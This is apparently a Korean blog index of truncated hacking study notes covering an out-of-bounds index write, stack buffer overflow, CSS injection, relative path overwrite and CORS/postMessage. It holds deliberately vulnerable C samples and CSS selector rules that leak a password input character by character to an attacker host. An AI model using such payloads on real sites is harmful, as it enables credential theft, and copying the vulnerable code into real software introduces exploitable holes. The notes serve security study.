본문 바로가기

분류 전체보기

(1196)
[systemhacking] Out of Boundary Out of boundary는 버퍼의 길이 범위를 벗어나는 인덱스에 접근할 때 발생하는 취약점. #include int main(void) { int win; int idx; int buf[10]; printf("Which index? "); scanf("%d", &idx); printf("Value: "); scanf("%d", &buf[idx]); printf("idx: %d, value: %d\n", idx, buf[idx]); if(win == 31337){ printf("Theori{-----------redacted---------}"); } } win 4byte 깔리고 idx 4byte buf 40byte 스택에 쌓임 win 값을 31337로 만들기 위해 인덱스 11에 접근하여 값 수정 #i..
[systemhacking] 버퍼 오버플로우 버퍼란 지정된 크기의 메모리 공간. 버퍼 오버플로우 : 버퍼가 허용할 수 있는 양의 데이터보다 더 많은 값이 저장되어 버퍼가 넘치는 취약점 버퍼 오버플로우가 발생하는 위치에 따라 스택 버퍼 오버플로우, 힙 오버플로우와 같이 나눠서 부름. 스택 버퍼 오버플로우 // stack-1.c #include #include int main(void) { char buf[16]; gets(buf); printf("%s", buf); } 지역변수 buf는 스택 영역에 16바이트로 저장됨. gets는 사용자가 개행 입력하기 전까지 입력했던 모든 내용을 첫 번째 인자로 전달된 버퍼에 저장. 버퍼를 오버플로우 시켜 ret 영역을 0x41414141로 만들면 성공 Ascii는 Hex Encode 되므로 41을 의미하는 A로 ..
[Webhacking] [client-side advanced] Exploit Techniques - CSS Injection CSS의 Selector나 HTTP 요청 생성을 통해 문서 정보 획득 및 CSRF 공격 연계 가능. 공격 예시 password가 SuperSecret인 경우 input[name='userpw'][value^='a']{background: url("http://hacker.dreamhack.com/a");} input[name='userpw'][value^='b']{background: url("http://hacker.dreamhack.com/b");} input[name='userpw'][value^='c']{background: url("http://hacker.dreamhack.com/c");} ... input[name='userpw'][value^='S']{background: url("http..
[Webhacking] [client-side advanced] Exploit Techniques - Dom Clobbering 보호되어 있는 글입니다.
[Webhacking] [client-side advanced] Exploit Techniques - Relative Path Overwrite (RPO) Relative Path Overwrite Browser를 속여 의도되지 않은 파일을 불러오는 기법 절대 경로와 상대 경로 이해. / (루트 도메인) 로 부터 시작되는 경로 파일명만 존재할 시 현재까지의 경로에서 파일명만 교체됨. Browser가 하는 일 웹 서버와 통신 하면서 응답을 브라우저를 통해서 보여준다. 응답코드에 Image나 Script, Stylesheet 파일들을 불러오는 코드가 존재하면 browser 판단 하에 파일을 불러옴. 웹서버는 경로에 대해 찾아서 파일을 응답함. index.php 응답 코드에 css , js 로드 코드가 존재함. 상대경로로 지정되어 있으므로 현재 경로에서 찾음. URL 조작하여 request 브라우저는 URL encode된 부분도 그냥 파일명에 포함시킴. Apac..
3D 입체 구현 보호되어 있는 글입니다.
[systemhacking] 시스템 해킹 기초 보호되어 있는 글입니다.
[Webhacking] [client-side advanced] CORS CORS 기술 사용 시 문제점 현재 사이트에서 다른 사이트로 정보 유출 (기밀성) 다른 사이트에서 현재 사이트 변조 (무결성) - 다른 사이트로부터 스크립트 등이 심어져 XSS 가능 메시지 전송할 때 대상 윈도의 postMessage 메소드를 호출, 수신하는 윈도는 message 전역 이벤트를 청취 targetWindow.postMessage(message, targetOrigin[, transfer]) targetWindow 메시지를 보낼 대상 Window message 메시지 객체 (함수, DOM 객체 등은 보낼 수 없음) targetOrigin 메시지 송신 시점에 targetWindow의 Origin이 targetOrigin과 일치하여야 함. targetOrigin에 "*"을 지정하면 Origin ..